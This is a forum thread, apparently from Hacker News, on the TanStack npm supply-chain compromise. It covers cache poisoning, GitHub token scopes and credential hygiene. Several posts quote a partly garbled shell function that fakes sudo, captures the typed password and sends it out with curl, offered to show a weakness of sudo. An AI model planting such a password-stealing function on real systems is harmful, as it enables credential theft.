Postmortem: TanStack NPM supply-chain compromise • Hacker News Board

Re: Postmortem: TanStack NPM supply-chain compromise

#281

Post by captn3m0 » Tue, May 12, 2026, 6:18 AM UTC

deathanatos wrote: post #265

captn3m0 wrote: post #62

Earlier quoted context omitted.

You're right. Found the relevant docs+API calls: https://docs.github.com/en/rest/actions/workflow-runs?apiVer... Also for a Pending Deployment: https://docs.github.com/en/rest/actions/workflow-runs#review... Both of these need `repo` scope, which you can avoid giving on org-level repos. For fine-grained tokens: "Deployments" repository permissions (write) is needed, which I wouldn't usually give to a token.

sigh Github's idiotic fractal of authentication types. What upthread is talking about is the Github CLI app, `gh`; it doesn't use a fine-grained tokens, it uses OAuth app tokens. I.e., if you look at fine grain tokens (Setting → Developer settings → Personal access tokens → Fine-grained token), you will not see anything corresponding to `gh` there, as it does not use that form of authentication. It is under Settings…

I’m paranoid but I never authenticate the GitHub CLI - there should be no tokens lying around on my system. If needed, I have some scoped PATs in pass, which I can source as env variables. Git Pushes happen over SSH with Yubikey.

Re: Postmortem: TanStack NPM supply-chain compromise

#282

Post by maxloh » Tue, May 12, 2026, 6:23 AM UTC

jonchurch_ wrote: post #173

chrisweekly wrote: post #40

Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.

The compromised action here was using pnpm. They poisoned the github action cache, which was caching the pnpm store. The chain required pull_request_target on the job to check bundle size, which had cache access and poisoned the main repo’s cache The malicious package that was publisjed will compromise local machines its installed in via the prepare script, though.

I think it was an afterthought in the design. CI cache should be scoped per-user, or at least per-group.

If a workflow run by a maintainer (with access to secrets) can pull a cache tarball uploaded by a random user on GitHub, then it’s a security black hole. More incidents like this are inevitable.

Re: Postmortem: TanStack NPM supply-chain compromise

#283

Post by sinsudo » Tue, May 12, 2026, 6:30 AM UTC

lrvick wrote: post #179

eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded.

Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Re: Postmortem: TanStack NPM supply-chain compromise

#284

Post by WesolyKubeczek » Tue, May 12, 2026, 6:31 AM UTC

TacticalCoder wrote: post #211

lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…

When you update your packages, are you using that ssh laptop?

Re: Postmortem: TanStack NPM supply-chain compromise

#285

Post by timwis » Tue, May 12, 2026, 6:32 AM UTC

What do folks here do to avoid having plaintext credentials on disk? I try to use 1Password's plugins where I can. I find the SSH key (and got signing) experience flawless, but the cli experience (eg aws cli) pretty clunky - they often break, and they don't even have a gcp plugin last I checked.

Re: Postmortem: TanStack NPM supply-chain compromise

#286

Post by lemoncucumber » Tue, May 12, 2026, 6:35 AM UTC

kaonwarb wrote: post #268

nozzlegear wrote: post #247

Earlier quoted context omitted.

FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years." /aside

I've heard this often enough from English speakers from India that I think it is accepted grammar in that region.

To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural).

It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"

To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).

Re: Postmortem: TanStack NPM supply-chain compromise

#287

Post by mosen » Tue, May 12, 2026, 6:42 AM UTC

noodletheworld wrote: post #114

meander_water wrote: post #60

Earlier quoted context omitted.

I don't understand why people were voting this comment down in the issue page

There is no such thing as please be careful when revoking tokens. What does that mean? Dont revoke them? Look at them carefully before revoking them? And what? Just let the actor just keep using them to spread to other people? Always rotate your tokens immediately if they're compromised. If it hurts, well, that sucks. …but seriously , not revoking the tokens just makes this worse for everyone. A fair comment would ha…

Did you miss the part about the script that nukes your home folder?

Re: Postmortem: TanStack NPM supply-chain compromise

#288

Post by fny » Tue, May 12, 2026, 6:45 AM UTC

dboreham wrote: post #151

cluckindan wrote: post #95

Earlier quoted context omitted.

”TanStack maintainer Tanner Linsley said the attacker used an orphaned commit to gain access to the workflow run that stores the OIDC token, effectively bypassing the project’s existing publishing protections. He noted that two-factor authentication is enabled for everyone on the team”

Apologies if this is a dumb question but how does this attack work? (I know what an orphaned commit is but not how you use one to bypass project access control).

TLDR is that the attacker leveraged actions/cache to cache a poisoned pnpm store which contains something that will be triggered during the package.json lifecycle. All it required was for someone to merge any PR to run whats in the cache trigger the second stage of the exploit: mint an OIDC token, build evil tarballs, and publish.

Re: Postmortem: TanStack NPM supply-chain compromise

#289

Post by gitaarik » Tue, May 12, 2026, 6:53 AM UTC

pier25 wrote: post #80

slopinthebag wrote: post #49

Earlier quoted context omitted.

Both Cargo and Go's package manager are a lot better. Can you name comparable security incidents they've had in the last 5 years? Idk about Python, I refuse to use that language for other reasons.

It makes more sense to attack packages in NPM since it's by far the most popular package manager.

Yeah indeed, you can move to a less popular ecosystem and have less risk. Back in the day when I moved from PHP ecosystem to Python, that was a big improvement. But with NPM I feel mixed; there's a lot of crap, but there's also genuinely good stuff. So you have to be a bit more conscious and alert when you make decisions on packages etc. With more mature ecosystems you have that problem less, and you don't have to spend so much time on package research and can rely more on the community. But still there's always a risk there too, so you have to stay alert.

Re: Postmortem: TanStack NPM supply-chain compromise

#290

Post by mort96 » Tue, May 12, 2026, 6:53 AM UTC

sinsudo wrote: post #283

lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'.

Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.